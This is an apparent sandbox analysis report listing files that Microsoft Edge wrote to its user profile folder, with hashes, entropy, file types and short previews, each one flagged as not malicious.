C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	3.241082249235792
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuuuuZJU8X:iDRf
MD5:	0D66FD1BA5DA99857956F1D1D62D5455
SHA1:	00899A579C8AD1D5D25E6ACF886477EC1807E562
SHA-256:	020D224F9C259055AAC8846F62122B02522ABDAD01165F94F43EC7C7B9E57537
SHA-512:	D520117236265270A9FF2428CDC59F48226E63FB80B0A240E0AD5F7F75BA4BBDA1FFC06064148B79971A41D1E7B7078DA15A01BF292A15DFB4B8A75CEFDFFCCC
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............d-)O0................39_config..........6.....n ...1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.184778608826714
Encrypted:	false
SSDEEP:	6:H6Ahbq2P923oH+TcwtfrK+IFUt8Y6Ah/Zmw+Y6AhlzkwO923oH+TcwtfrUeLJ:Xbv4Yeb23FUt8E//+Elz5LYeb3J
MD5:	72F5B56467C81BB220F0670DAA20D9AE
SHA1:	4065E45A1C952C267427736690F54A75F355BD50
SHA-256:	AEF807A526F981B791E7AF24AC81433AE08A29A58DF90F3E3BCA1D6617C41DCB
SHA-512:	067FCCE5C00240781159B1BA5A3A465A19FE337A6D4C09A38937F045CEC2E30943BB410F878534A24CD9E8C3961482F8378412B87F934773F355E57C8BCB4B5B
Malicious:	false
Preview:	2024/11/05-04:13:40.229 db0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/05-04:13:40.233 db0 Recovering log #3.2024/11/05-04:13:40.893 db0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.184778608826714
Encrypted:	false
SSDEEP:	6:H6Ahbq2P923oH+TcwtfrK+IFUt8Y6Ah/Zmw+Y6AhlzkwO923oH+TcwtfrUeLJ:Xbv4Yeb23FUt8E//+Elz5LYeb3J
MD5:	72F5B56467C81BB220F0670DAA20D9AE
SHA1:	4065E45A1C952C267427736690F54A75F355BD50
SHA-256:	AEF807A526F981B791E7AF24AC81433AE08A29A58DF90F3E3BCA1D6617C41DCB
SHA-512:	067FCCE5C00240781159B1BA5A3A465A19FE337A6D4C09A38937F045CEC2E30943BB410F878534A24CD9E8C3961482F8378412B87F934773F355E57C8BCB4B5B
Malicious:	false
Preview:	2024/11/05-04:13:40.229 db0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/05-04:13:40.233 db0 Recovering log #3.2024/11/05-04:13:40.893 db0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.141385593820882
Encrypted:	false
SSDEEP:	6:H6Ah+xAq2P923oH+TcwtfrzAdIFUt8Y6AhyTZmw+Y6AhhFkwO923oH+TcwtfrzId:XJv4Yeb9FUt8E4/+Ef5LYeb2J
MD5:	132BF128F73E03EC8F5EAB3D39C58AD6
SHA1:	205A91DD3AC8B499EA364EF588A1202CBEE26CDE
SHA-256:	17B61C121FBFD837C68D01D62E8C6A8B904513AA1BA1D150A13DC53E684A09DD
SHA-512:	BA105076A3E38EAA61224F887074F2DDC14BFAE070EEF9B2AF132BD62C46C475AF9BDEB70A6CC7B4E586160B895D27D55B48D1388FC76F3CF4168A04579A2FCF
Malicious:	false
Preview:	2024/11/05-04:13:40.205 db0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/05-04:13:40.209 db0 Recovering log #3.2024/11/05-04:13:40.213 db0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.141385593820882
Encrypted:	false
SSDEEP:	6:H6Ah+xAq2P923oH+TcwtfrzAdIFUt8Y6AhyTZmw+Y6AhhFkwO923oH+TcwtfrzId:XJv4Yeb9FUt8E4/+Ef5LYeb2J
MD5:	132BF128F73E03EC8F5EAB3D39C58AD6
SHA1:	205A91DD3AC8B499EA364EF588A1202CBEE26CDE
SHA-256:	17B61C121FBFD837C68D01D62E8C6A8B904513AA1BA1D150A13DC53E684A09DD
SHA-512:	BA105076A3E38EAA61224F887074F2DDC14BFAE070EEF9B2AF132BD62C46C475AF9BDEB70A6CC7B4E586160B895D27D55B48D1388FC76F3CF4168A04579A2FCF
Malicious:	false
Preview:	2024/11/05-04:13:40.205 db0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/05-04:13:40.209 db0 Recovering log #3.2024/11/05-04:13:40.213 db0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090741776791101
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMuwuF9hDO6vP6O+Otbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEA63tbz8hu3VlXr4CRo1
MD5:	9A5598A9062AF38E0F48D033F6028E46
SHA1:	D06CD1330F3F27021BAF12E39B6895FE249D15A2
SHA-256:	082DF75745266C1FA4B35B175D3F40F6C7DD0C260EAEA1B24C51B52345456292
SHA-512:	67F37777951EA79C3ACEA4DC855416865E6C71ADCC75A3DB5B96123C0AA7BB698396D09C344FCF70E59EC3DDCCC6DB5FABFE5CA9AA97B1FE50ADC20886C85965
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c218.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090741776791101
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMuwuF9hDO6vP6O+Otbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEA63tbz8hu3VlXr4CRo1
MD5:	9A5598A9062AF38E0F48D033F6028E46
SHA1:	D06CD1330F3F27021BAF12E39B6895FE249D15A2
SHA-256:	082DF75745266C1FA4B35B175D3F40F6C7DD0C260EAEA1B24C51B52345456292
SHA-512:	67F37777951EA79C3ACEA4DC855416865E6C71ADCC75A3DB5B96123C0AA7BB698396D09C344FCF70E59EC3DDCCC6DB5FABFE5CA9AA97B1FE50ADC20886C85965
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c2c4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090741776791101
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMuwuF9hDO6vP6O+Otbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEA63tbz8hu3VlXr4CRo1
MD5:	9A5598A9062AF38E0F48D033F6028E46
SHA1:	D06CD1330F3F27021BAF12E39B6895FE249D15A2
SHA-256:	082DF75745266C1FA4B35B175D3F40F6C7DD0C260EAEA1B24C51B52345456292
SHA-512:	67F37777951EA79C3ACEA4DC855416865E6C71ADCC75A3DB5B96123C0AA7BB698396D09C344FCF70E59EC3DDCCC6DB5FABFE5CA9AA97B1FE50ADC20886C85965
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c3de.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090741776791101
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMuwuF9hDO6vP6O+Otbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEA63tbz8hu3VlXr4CRo1
MD5:	9A5598A9062AF38E0F48D033F6028E46
SHA1:	D06CD1330F3F27021BAF12E39B6895FE249D15A2
SHA-256:	082DF75745266C1FA4B35B175D3F40F6C7DD0C260EAEA1B24C51B52345456292
SHA-512:	67F37777951EA79C3ACEA4DC855416865E6C71ADCC75A3DB5B96123C0AA7BB698396D09C344FCF70E59EC3DDCCC6DB5FABFE5CA9AA97B1FE50ADC20886C85965
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3eabf.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090741776791101
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMuwuF9hDO6vP6O+Otbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEA63tbz8hu3VlXr4CRo1
MD5:	9A5598A9062AF38E0F48D033F6028E46
SHA1:	D06CD1330F3F27021BAF12E39B6895FE249D15A2
SHA-256:	082DF75745266C1FA4B35B175D3F40F6C7DD0C260EAEA1B24C51B52345456292
SHA-512:	67F37777951EA79C3ACEA4DC855416865E6C71ADCC75A3DB5B96123C0AA7BB698396D09C344FCF70E59EC3DDCCC6DB5FABFE5CA9AA97B1FE50ADC20886C85965
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4276a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090741776791101
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMuwuF9hDO6vP6O+Otbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEA63tbz8hu3VlXr4CRo1
MD5:	9A5598A9062AF38E0F48D033F6028E46
SHA1:	D06CD1330F3F27021BAF12E39B6895FE249D15A2
SHA-256:	082DF75745266C1FA4B35B175D3F40F6C7DD0C260EAEA1B24C51B52345456292
SHA-512:	67F37777951EA79C3ACEA4DC855416865E6C71ADCC75A3DB5B96123C0AA7BB698396D09C344FCF70E59EC3DDCCC6DB5FABFE5CA9AA97B1FE50ADC20886C85965
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4d4ff.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090741776791101
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMuwuF9hDO6vP6O+Otbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEA63tbz8hu3VlXr4CRo1
MD5:	9A5598A9062AF38E0F48D033F6028E46
SHA1:	D06CD1330F3F27021BAF12E39B6895FE249D15A2
SHA-256:	082DF75745266C1FA4B35B175D3F40F6C7DD0C260EAEA1B24C51B52345456292
SHA-512:	67F37777951EA79C3ACEA4DC855416865E6C71ADCC75A3DB5B96123C0AA7BB698396D09C344FCF70E59EC3DDCCC6DB5FABFE5CA9AA97B1FE50ADC20886C85965
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

